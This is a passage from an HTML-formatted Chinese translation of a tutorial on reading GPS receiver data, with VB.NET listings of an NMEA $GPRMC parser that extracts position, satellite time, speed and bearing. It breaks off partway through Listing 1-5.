style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 返回一个十六进制的检验和</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR>时间是GPS技术的基础，因为距离通过光速来测量得到的。每个GPS卫星包含四个原子钟，它将在一段以十亿分之一秒为单位的时间内计量它的射线传播。一个 强大的特性是仅用很少的代码，这些原子钟可以和精确到毫秒的电脑钟同步。$GPRMC语句的第二个单词（040302.663）包含了卫星时间，这个时间 是用压缩格式表示的。头两个字符表示小时，接下来两个字符表示分钟，再下来两个字符表示秒，最后小数部分表示毫秒。因此，这个时间是4：03： 02.663 AM。然而，卫星报告的时间是国际时间（GMT+0），因此，这个时间必须被调整到区域的当地时间。清单 1-4 添加支持将卫星时间利用DateTime.ToLocalTime方法转换到当地时间的功能。<BR><BR>清单 1-4：这个类可以无线地即时将原子钟同步到你的电脑钟<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'********************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 1-4.&nbsp; Add support for satellite-derived time</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'********************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Raised when the current location has changed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event DateTimeChanged(ByVal dateTime As DateTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Processes information from the GPS receiver</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Discard the sentence if its checksum does not match our&nbsp;&nbsp;&nbsp; </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Look at the first word to decide where to go next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Recommended Minimum" sentence was found!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was not recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Divides a sentence into individual words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Interprets a $GPRMC message</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to describe our location?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract latitude and longitude</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify the calling application of the change</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to parse satellite-derived time?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(1) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract hours, minutes, seconds and milliseconds</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcHours As Integer = CType(Words(1).Substring(0, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMinutes As Integer = CType(Words(1).Substring(2, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcSeconds As Integer = CType(Words(1).Substring(4, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMilliseconds As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Extract milliseconds if it is available</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(1).Length &gt; 7 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UtcMilliseconds = CType(Words(1).Substring(7), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Now build a DateTime object with all values</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Today As DateTime = System.DateTime.Now.ToUniversalTime</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SatelliteTime As New System.DateTime(Today.Year, Today.Month, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today.Day, UtcHours, UtcMinutes, UtcSeconds, UtcMilliseconds)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new time, adjusted to the local time zone</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent DateTimeChanged(SatelliteTime.ToLocalTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Returns True if a sentence's checksum matches the calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Compare the characters after the asterisk to the calculation</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Calculates the checksum for a sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Loop through all chars to get a checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Ignore the dollar sign</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Stop processing before the asterisk</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Is this the first value for the checksum?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Set the checksum to the value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' No. XOR the checksum with this character's value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Return the checksum formatted as a two-character hexadecimal</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR>GPS设备分析你的位置根据时间计算速度和方向。本文开头部分的$GPRMC语句也包含这几个部分。速度总是被报告为哩/小时，并且方向被报告为方位角 （azimuth，以水平顺时针测量，范围为0°到360°，其中0°表示正北，90°表示正东，其它的依次类推）。这里要用到一个简单的数学计算，将哩 /小时转换为公里/小时。在清单 1-5 中你将再次看到GPS数据被一行代码描述出来，这就如同一个汽车超速所展示出的那样。<BR><BR>清单 1-5：这个类现在可以告诉你要去哪里，而且可以帮你少领超速罚单<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 1-5.&nbsp; Extracting speed and bearing</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Raised when the current location has changed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event DateTimeChanged(ByVal dateTime As DateTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event BearingReceived(ByVal bearing As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedReceived(ByVal speed As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Processes information from the GPS receiver</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Discard the sentence if its checksum does not match our calculated</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Look at the first word to decide where to go next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Recommended Minimum" sentence was found!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was not recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Divides a sentence into individual words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">' Interprets a $GPRMC message</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to describe our location?</SPAN><BR style="BACKGROUND-COLOR: 